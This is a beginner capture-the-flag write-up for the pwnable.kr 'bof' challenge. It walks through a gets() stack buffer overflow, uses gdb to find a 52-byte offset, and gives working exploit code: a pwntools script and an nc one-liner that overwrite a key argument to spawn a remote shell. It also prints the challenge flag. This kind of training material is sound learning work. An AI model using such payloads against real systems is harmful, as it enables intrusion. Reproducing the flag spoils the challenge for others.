
Its Toddler's Bottle category holds your hand through the fundamentals, and bof (worth 5 points) is where most people meet their first stack overflow. In this post we'll walk through it from zero: reading the source, understanding why it's exploitable, finding the magic offset with gdb, and dropping a shell to grab the flag. No prior pwn experience assumed.
The challenge page gives you three things:
0 Means localhost running locally on the server, you can use 127.0.0.1 or localhost they all mean to connect to local service
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}Read it slowly, because the whole challenge is right here:
The way in is the line that's practically waving at us:
gets(overflowme); // smash me!gets() reads input into overflowme with no bounds checking whatsoever. It'll keep writing bytes until it hits a newline — long past the end of the 32-byte buffer. That means we can spill data past the buffer and clobber whatever sits after it on the stack. And what sits after it, further up, is the key argument.
So the plan: overflow overflowme, keep writing until we reach key, and overwrite key with 0xcafebabe. Then the check passes and we get /bin/sh.
The only question left is: how many bytes until we reach key?
This is a 32-bit binary, and in 32-bit x86 (cdecl), function arguments are passed on the stack, above the saved base pointer and return address. That's what makes bof so clean the thing we want to overwrite is a normal stack variable. Fire up gdb and disassemble func:
gdb ./bof
(gdb) disassemble funcYou're looking for two lines. First, where the buffer's address is loaded before the gets call:
lea eax, [ebp-0x2c] ; address of overflowme
mov DWORD PTR [esp], eax
call getsAnd second, the comparison against our target:
cmp DWORD PTR [ebp+0x8], 0xcafebabe ; keySo the compiler placed:
The distance from the start of our buffer to key is simply the difference between those two addresses:
Calculating Padding Offset
(ebp + 0x8) - (ebp - 0x2c) = 0x8 + 0x2c = 0x34 = 52 bytes
Here's the stack laid out visually (higher addresses at the top):
higher addresses
+--------------------+
| key (0xdeadbeef) | <- ebp+0x8 ← our target
+--------------------+
| return address | <- ebp+0x4
+--------------------+
| saved ebp | <- ebp+0x0
+--------------------+
| ...stack canary...|
+--------------------+
| overflowme[32] | <- ebp-0x2c ← gets() writes here
+--------------------+
lower addresses52 bytes of padding, then our 4-byte value 0xcafebabe, and we've overwritten key.
One thing to watch: x86 is little-endian, so 0xcafebabe goes on the wire byte-reversed as \xbe\xba\xfe\xca. With pwntools (it is recommended you can do manually too i explained below)
from pwn import *
payload = b'A' * 52 # padding to reach key
payload += p32(0xcafebabe) # overwrite key (p32 handles little-endian)
# Test locally first if you like:
# io = process('./bof')
io = remote('pwnable.kr', 9000)
io.sendline(payload)
io.interactive()p32() does the little-endian packing for you, which is exactly why pwntools is worth installing (pip install pwntools).
Without pwntools (raw nc)
(python2 -c "print 'A'*52 + '\xbe\xba\xfe\xca'"; cat) | nc pwnable.kr 9000The ; cat at the end is the trick that trips up a lot of beginners: after sending the payload, cat keeps stdin open and forwards your keystrokes into the shell you just popped. Without it, the connection closes immediately and you never get to type anything.
Run the exploit and you'll land in a shell on the remote box. It won't print a fancy prompt — it just sits there. Type away:
$ ls
bof
bof.c
flag
log
super.pl
$ cat flag
daddy, I just pwned a buFFer :)And that's the flag. First overflow down :)
gets() let us write past a 32-byte buffer. Because 32-bit function arguments live on the stack above the local buffer, 52 bytes of junk carried us right up to the key parameter, and the next 4 bytes overwrote it with the value the check wanted to see. The win condition fired inside the function, so the stack canary never got a chance to complain. Classic stack-based buffer overflow, minus the usual complications.
Happy pwning. 🚩
Drop a comment below - it'll show up here once I read it.